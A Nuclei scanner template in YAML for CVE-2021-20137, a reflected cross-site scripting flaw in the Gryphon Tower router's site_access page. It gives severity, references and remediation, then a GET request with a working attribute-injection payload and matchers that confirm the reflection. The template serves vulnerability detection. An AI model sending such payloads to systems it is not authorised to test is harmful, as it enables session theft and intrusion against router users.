53 lines
2.1 KiB
YAML
53 lines
2.1 KiB
YAML
id: CVE-2021-20137
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info:
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name: Gryphon Tower - Cross-Site Scripting
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author: edoardottt
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severity: medium
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description: Gryphon Tower router web interface contains a reflected cross-site scripting vulnerability in the url parameter of the /cgi-bin/luci/site_access/ page. An attacker can exploit this issue by tricking a user into following a specially crafted link, granting the attacker JavaScript execution in the victim's browser.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
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remediation: |
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Upgrade to the latest version to mitigate this vulnerability.
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reference:
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-20137
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- https://www.tenable.com/security/research/tra-2021-51
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- https://nvd.nist.gov/vuln/detail/CVE-2021-20137
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- https://github.com/ARPSyndicate/kenzer-templates
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-20137
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cwe-id: CWE-79
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epss-score: 0.24456
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epss-percentile: 0.96515
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cpe: cpe:2.3:o:gryphonconnect:gryphon_tower_firmware:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: gryphonconnect
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product: gryphon_tower_firmware
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tags: cve2021,cve,xss,tenable,gryphon,gryphonconnect
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http:
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- method: GET
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path:
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- "{{BaseURL}}/cgi-bin/luci/site_access/?url=%22%20onfocus=alert(document.domain)%20autofocus=1"
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matchers-condition: and
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matchers:
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- type: word
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part: header
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words:
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- "text/html"
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- type: word
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part: body
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words:
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- 'onfocus=alert(document.domain) autofocus=1>'
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- 'Send Access Request URL'
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condition: and
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100f59adf2060e9bd5cd6778f48d141f1bd0ac128d97a8dde7e931d4f3135d0e887022100f9c874e8c0cc7c2e23d9bd5f892e66fb4e28e818ba92abb6ccc29c10c845173e:922c64590222798bb761d5b6d8e72950 |